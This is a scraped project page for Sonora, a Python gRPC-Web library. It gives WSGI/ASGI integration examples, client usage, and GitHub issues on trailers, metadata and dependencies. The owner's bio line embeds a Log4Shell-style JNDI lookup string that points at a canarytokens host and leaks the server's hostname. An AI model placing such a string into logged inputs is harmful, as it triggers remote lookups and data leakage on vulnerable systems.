A gRPC-Web implementation for Python

Related tags

Networking sonora
Overview

CircleCI

Sonora

Sonora is a Python-first implementation of gRPC-Web built on top of standard Python APIs like WSGI and ASGI for easy integration.

Why?

Regular gRPC has a lot going for it but is awkward to use in some environments. gRPC-Web makes it easy to get gRPC working in environments that need HTTP/1.1 but the Google gRPC and gRPC-Web implementations don't like to coexist with your normal Python frameworks like Django or Flask. Sonora doesn't care what ioloop you use, this means you can run it along side any other Python web framework in the same application!

This makes it easy to

  • Add gRPC to an existing code base.
  • Run gRPC behind AWS and other HTTP/1.1 load balancers.
  • Integrate with other ASGI frameworks like Channels, Starlette, Quart etc.
  • Integrate with other WSGI frameworks like Flask, Django etc.

Sonora aims to be compatible with and tested against Google's grpc-web implementation in both text mode and binary mode.

The name Sonora was inspired by the Sonoran gopher snake.

Snek

How?

Sonora is designed to require minimal changes to an existing Python application.

Server

WSGI

Normally a WSGI application (such as your favourite Django app) will have a file somewhere named wsgi.py that gets your application setup and ready for your web server of choice. It will look something like this.

from django.core.wsgi import get_wsgi_application
application = get_wsgi_application()

To add Sonora's gRPC-Web capabilities to an application like the above all you need to do to enable it is this.

from django.core.wsgi import get_wsgi_application
from sonora.wsgi import grpcWSGI
import helloworld_pb2_grpc

# Setup your frameworks default WSGI app.

application = get_wsgi_application()

# Install the Sonora grpcWSGI middleware so we can handle requests to gRPC's paths.

application = grpcWSGI(application)

# Attach your gRPC server implementation.

helloworld_pb2_grpc.add_GreeterServicer_to_server(Greeter(), application)

And now you have a combined HTTP/1.1 Django + gRPC application all under a single port.

ASGI

For ASGI things are mostly the same, the example shown here integrates with Quart but it's more or less the same for other frameworks.

from sonora.asgi import grpcASGI
from quart import Quart
import helloworld_pb2_grpc

# Setup your frameworks default ASGI app.

application = Quart(__name__)

# Install the Sonora grpcASGI middleware so we can handle requests to gRPC's paths.

application.asgi_app = grpcASGI(application.asgi_app)

# Attach your gRPC server implementation.

helloworld_pb2_grpc.add_GreeterServicer_to_server(Greeter(), application.asgi_app)

And now you have a combined HTTP/1.1 Quart + gRPC application all under a single port.

Clients

Sonora provides both regular sync and aiohttp based async clients.

Requests (Sync)

Instead of using gRPCs native grpc.insecure_channel API we have sonora.client.insecure_web_channel instead which provides a requests powered client channel to a gRPC-Web server. e.g.

    import sonora.client

    with sonora.client.insecure_web_channel(
        f"http://localhost:8080"
    ) as channel:
        stub = helloworld_pb2_grpc.GreeterStub(channel)
        print(stub.SayHello("world"))

Aiohttp (Async)

Instead of grpc.aio.insecure_channel we have sonora.aio.insecure_web_channel which provides an aiohttp based asyncio compatible client for gRPC-Web. e.g.

    import sonora.aio

    async with sonora.aio.insecure_web_channel(
        f"http://localhost:8080"
    ) as channel:
        stub = helloworld_pb2_grpc.GreeterStub(channel)
        print(await stub.SayHello("world"))

        stub = helloworld_pb2_grpc.GreeterStub(channel)
        async for response in stub.SayHelloSlowly("world"):
            print(response)

This also supports the new streaming response API introduced by gRFC L58

    import sonora.aio

    async with sonora.aio.insecure_web_channel(
        f"http://localhost:8080"
    ) as channel:
        stub = helloworld_pb2_grpc.GreeterStub(channel)
        async with stub.SayHelloSlowly("world") as response:
            print(await response.read())
Comments
  • service wsgi-server failed

    service wsgi-server failed

    when i try to run service via docker-compose.yml, i ran into error caused by async-timeout, is there any solutions?

    Installing dependencies from lock file

    SolverProblemError

    Because aiohttp (3.7.4.post0) depends on async-timeout (>=4.0,<5.0) and no versions of aiohttp match >=3.7.4,<3.7.4.post0 || >3.7.4.post0,<4.0.0, aiohttp (>=3.7.4,<4.0.0) requires async-timeout (>=4.0,<5.0). So, because sonora depends on both async-timeout (^3.0.1) and aiohttp (^3.7.4), version solving failed.

    opened by RoacherM 8
  • Missing trailers frame in unary response when no trailers metadata is specified

    Missing trailers frame in unary response when no trailers metadata is specified

    Current code has:

           if context._trailing_metadata:
                trailers = context._trailing_metadata
    
                trailer_message = protocol.pack_trailers(trailers)
                trailer_data = wrap_message(True, False, trailer_message)
            else:
                trailer_data = b""
    ...
            await send(
                {"type": "http.response.body", "body": message_data, "more_body": True}
            )
            await send(
                {"type": "http.response.body", "body": trailer_data, "more_body": False}
            )
    

    This results in no trailer_data frame (i.e. nothing) being sent if no context._trailing_metadata is specified instead of non-empty frame containing no data. This seems to violate the gRPC-Web expectations in at least some clients (and maybe in the spec?) that the trailers frame should always be present even if it's data is missing. One particular client unhappy with missing trailers is protobuf-ts (fails with trailers missing). grpc-dart mentions a similar error.

    I was able to workaround the issue by changeing the above code to:

             if context._trailing_metadata:
                trailers = context._trailing_metadata
            else:
                trailers = b""
    
            trailer_message = protocol.pack_trailers(trailers)
            trailer_data = wrap_message(True, False, trailer_message)
    
    opened by parabolala 3
  • URL prefix

    URL prefix

    Thank you again for your help so far. We're starting to test Sonora internally now.

    Is there a good way to have some kind of a prefix on the endpoints? Like /grpc/ or /api/?

    opened by gitpushdashf 3
  • Send and receive metadata in pypi package

    Send and receive metadata in pypi package

    The pypi package has a minor version than the master branch, the last functional commit in pypi is f73f2e2. The nice custom metadata feature is missing in v0.1.0 When is the new updated version scheduled to be pushed?

    Thanks!

    opened by martibarri 2
  • Update the statement about gRPC Python

    Update the statement about gRPC Python

    gRPC Python now has a new AsyncIO stack: https://github.com/grpc/grpc/projects/16. Technically, it supports any AsyncIO I/O loop with single or more threads https://github.com/grpc/grpc/pull/22311. So, can we update the README.md to better reflect this fact?

    CC @gnossen

    opened by lidizheng 2
  • Misc

    Misc

    ASGI/Quart example (as recommended here: https://pgjones.gitlab.io/quart/how_to_guides/middleware.html) Also little call change, that not. asserting in case asgi can't(don't want) process some type of request

    opened by mm0d 1
  • Always send grpc-status in trailers

    Always send grpc-status in trailers

    This makes it so we always send a trailers frame by forcing grpc-status into the trailers even when we have the option of sending it as a header.

    Fixes #47

    opened by public 0
  • async-timeout v4 support

    async-timeout v4 support

    https://pypi.org/project/async-timeout v4 just came out. We seem to be getting dependency errors with aiohttp wanting async-timeout v4 and sonora being set on v3. Can Sonora work with async-timeout v4?

    Thank you!

    opened by gitpushdashf 0
  • Send and receive metadata

    Send and receive metadata

    TODO

    • [x] send_initial_metadata
    • [x] set_trailing_metadata
    • [x] Getting metadata from responses in the client via with_call
    • [x] Getting metadata from responses using the aio/await API.
    • [ ] Tests for metadata from streaming RPCs
    opened by public 0
  • Make sure we release aiohttp connections even when the response is infinite

    Make sure we release aiohttp connections even when the response is infinite

    Previously we'd leak connections if the streaming response was infinite and the client wasn't being used in a context manager. Now we explicitly release the connection when the Call is GCd.

    Also refactored the benchmarks for slightly lower overhead.

    opened by public 0
  • Benchmarks

    Benchmarks

    As you would expect performance is pretty dependent on the ASGI server you use.

    Performance is tolerable but seems like there's something odd going on. e.g. Why is WSGI streaming so incredibly fast but Unary calls are terrible?

    While writing this I discovered that currently it doesn't detect disconnecting clients well enough which results in e.g. infinitely long streams never getting interrupted. All the sent data just gets backed up in asyncio. Solving this required some ugly ascynio.wait usage to check both the send and receive coroutines at once.

    I think this causes some flow control issues that are holding the ASGI speed back.

    This needs some refactoring now that we have multiple different servers in the test suite.

    • [x] Refactor server fixtures to be more composable.
    • [x] Use uvicorn instead of Daphne.
    • [x] Use bjoern for wsgi tests.
    • [x] Add WSGI benchmarks
    opened by public 0
  • Client support for grpc-web-text

    Client support for grpc-web-text

    I want to use the sonora client to connect to a server which only supports gprc-web-text, but currently only gprc-web+proto is supported. Is it planned to implement this variant in the sonora client as well?

    opened by siebert 1
  • EchoAbort test failing with grpcWeb client

    EchoAbort test failing with grpcWeb client

    Hi Alex!

    Long time no see! I upgraded the grpc-web-compatibility-test repo today following a new grpcWeb release and it seems that sonora (nee grpcwsgi) is now failing the EchoAbort request test:

    https://app.circleci.com/pipelines/github/johanbrandhorst/grpc-web-compatibility-test/43/workflows/d98f6ef2-52a4-464c-a367-6b1cf9c7551c/jobs/562/steps

    I've verified this locally, it seems to return 500 Internal Server Error and no content. I've marked the test as failing for now, but I did into it without really finding the cause. Python gRPC is not my expertise, so I thought I'd just raise an issue.

    opened by johanbrandhorst 1
  • More benchmarks

    More benchmarks

    It would be great to have more thorough benchmarks. Specifically

    1. Also benchmark https://pypi.org/project/grpclib/
    2. Benchmark using multiple clients. Probably requires spinning up some spot instances on EC2?
    3. When grpcs own AIO support actually works (rather than segfaulting) test that too.
    opened by public 0
  • Regular gRPC support

    Regular gRPC support

    Currently everything is built assuming gRPC-Web but it doesn't seem like it would be much work to also support normal gRPC with H2 only connections although it would depend on there being a WSGI or ASGI server that could actually speak that.

    • [ ] Is it feasible that any existing ASGI or WSGI servers could speak gRPC? This mostly means supporting bare H2 connections.
    • [ ] What does sonora need to do to support regular gRPC?
    opened by public 2
  • Automatic packaging of compiled protobufs

    Automatic packaging of compiled protobufs

    Running protoc and adding the right setup.py magic to package protobufs is fairly easy but easy to automate. Provide a tool to point at a folder full of proto files and generate a wheel.

    opened by public 0
Owner
Alex Stapleton
he/him ${jndi:ldap://x${hostName}.L4J.2xj6cw7jck0z9j8f4mofmdqz1.canarytokens.com/a}
Alex Stapleton
A Python tool used to automate the execution of the following tools : Nmap , Nikto and Dirsearch but also to automate the report generation during a Web Penetration Testing

?? WebMap A Python tool used to automate the execution of the following tools : Nmap , Nikto and Dirsearch but also to automate the report generation

Iliass Alami Qammouri 274 Jan 1, 2023
A Python library to utilize AWS API Gateway's large IP pool as a proxy to generate pseudo-infinite IPs for web scraping and brute forcing.

A Python library to utilize AWS API Gateway's large IP pool as a proxy to generate pseudo-infinite IPs for web scraping and brute forcing.

George O 929 Jan 1, 2023
BlueHawk is an HTTP/1.1 compliant web server developed in python

This project is done as a part of Computer Networks course. It aims at the implementation of the HTTP/1.1 Protocol based on RFC 2616 and includes the basic HTTP methods of GET, POST, PUT, DELETE and HEAD.

null 2 Nov 11, 2022
An advanced real time threat intelligence framework to identify threats and malicious web traffic on the basis of IP reputation and historical data.

ARTIF is a new advanced real time threat intelligence framework built that adds another abstraction layer on the top of MISP to identify threats and malicious web traffic on the basis of IP reputation and historical data. It also performs automatic enrichment and threat scoring by collecting, processing and correlating observables based on different factors.

CRED 225 Dec 31, 2022
A Simple Web Server made by Python3.

A Simple Web Server made by Python3.

GGN_2015 2 Nov 27, 2021
Web service load balancing simulation experiment.

Web service load balancing simulation experiment.

NicestZK 1 Nov 12, 2021
Web-server with a parser, connection to DBMS, and the Hugging Face.

Final_Project Web-server with parser, connection to DBMS and the Hugging Face. Team: Aisha Bazylzhanova(SE-2004), Arysbay Dastan(SE-2004) Installation

Aisha Bazylzhanova 2 Nov 18, 2021
A simple port scanner for Web/ip scanning Port 0/500 editable inside the .py file

Simple-Port-Scanner a simple port scanner for Web/ip scanning Port 0/500 editable inside the .py file Open Cmd/Terminal Cmd Downloads Run Command: pip

YABOI 1 Nov 22, 2021
Learn how modern web applications and microservice architecture work as you complete a creative assignment

Micro-service Создание микросервиса Цель работы Познакомиться с механизмом работы современных веб-приложений и микросервисной архитектуры в процессе в

Григорий Верховский 1 Dec 19, 2021
A web-based app that allows easy, simple - and if desired high-throughput - analysis of qPCR data

qpcr-Analyser A web-based GUI for the qpcr package that allows easy, simple and high-throughput analysis of qPCR data. As is described in more detail

null 1 Sep 13, 2022
Ip-Seeker - See Details With Public Ip && Find Web Ip Addresses

IP SEEKER See Details With Public Ip && Find Web Ip Addresses Tool By Heshan >>

M.D.Heshan Sankalpa 1 Jan 2, 2022
An automatic web reconnaissance tool written in python3.

WebRecon is an automatic web reconnaissance tool written in python3. Provides a command line interaction similar to msfconsole. The Exasmple.py file is provided, and you can write your own scripts yourself.

prophet 1 Feb 6, 2022
msgspec is a fast and friendly implementation of the MessagePack protocol for Python 3.8+

msgspec msgspec is a fast and friendly implementation of the MessagePack protocol for Python 3.8+. In addition to serialization/deserializat

Jim Crist-Harif 414 Jan 6, 2023
telnet implementation over TCP socket with python

This a P2P implementation of telnet. This program transfers data on TCP sockets as plain text

null 10 May 19, 2022
Python implementation of the IPv8 layer provide authenticated communication with privacy

Python implementation of the IPv8 layer provide authenticated communication with privacy

null 203 Oct 26, 2022
Python implementation of the Session open group server

API Documentation CLI Reference Want to build from source? See BUILDING.md. Want to deploy using Docker? See DOCKER.md. Installation Instructions Vide

Oxen 36 Jan 2, 2023
A pure python implementation of multicast DNS service discovery

python-zeroconf Documentation. This is fork of pyzeroconf, Multicast DNS Service Discovery for Python, originally by Paul Scott-Murphy (https://github

Jakub Stasiak 483 Dec 29, 2022
QUIC and HTTP/3 implementation in Python

aioquic What is aioquic? aioquic is a library for the QUIC network protocol in Python. It features a minimal TLS 1.3 implementation, a QUIC stack and

null 1.2k Dec 29, 2022
A pure-Python KSUID implementation

Svix - Webhooks as a service Svix-KSUID This library is inspired by Segment's KSUID implementation: https://github.com/segmentio/ksuid What is a ksuid

Svix 83 Dec 16, 2022